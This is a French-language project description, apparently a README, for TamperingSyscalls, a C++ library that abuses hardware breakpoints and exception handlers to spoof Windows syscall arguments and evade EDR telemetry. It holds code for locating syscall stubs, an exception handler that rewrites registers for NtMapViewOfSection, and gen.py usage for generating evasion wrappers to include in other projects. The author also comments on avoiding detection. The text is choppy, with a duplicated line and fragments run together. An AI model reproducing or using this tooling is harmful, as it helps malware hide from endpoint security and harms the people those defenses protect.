
Bibliothèque C++ qui récupère et usurpe les arguments des appels système Windows à l'aide de points d'arrêt matériels et de gestionnaires d'exceptions afin de contourner la télémétrie EDR.
TamperingSyscalls est un projet inédit en 2 parties composé de l’usurpation d’arguments et de la récupération de syscalls, qui abusent tous deux du gestionnaire d’exceptions (EH) afin de contourner les EDR. Ce projet regroupe ces deux sous-projets afin de fournir une solution alternative aux appels système directs.
Altération des appels système.
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
0f05 dans le registre Dr0.
Nous pouvons localiser l’adresse du stub syscall grâce à cette rapide recherche d’octets en mémoire.BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;
mov r10, rcx est exécuté, car le registre RCX est détruit dans les instructions suivantes.case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;
On voit dans cet exemple que nous corrigeons les arguments de NtMapViewOfSection.
Si vous souhaitez commencer à simuler de fausses télémétries EDR, il est possible de modifier les définitions p[FunctionName] qui sont actuellement définies à NULL.
Pour générer les fonctions requises, utilisez gen.py. Cela prend en charge :
python gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection
Cela produira 3 fichiers : TamperingSyscalls.cpp, TamperingSyscalls.h et main.cpp. Vous pouvez faire #include "TamperingSyscalls.h" dans votre projet. Nous pouvons appeler les fonctions en ajoutant le nom de la fonction à p, par exemple pNtOpenSection(...);
Nous ne pouvons pas définir de point d’arrêt sur NtSetThreadContext ou ses variantes, car cela est utilisé pour définir les registres de débogage. Il y a une brève période pendant laquelle les registres de débogage sont définis, mais elle est très courte et je ne pense pas que nous serons détectés pour avoir un Dr0 ouvert.
J’ai publié un petit article de blog abordant ces techniques.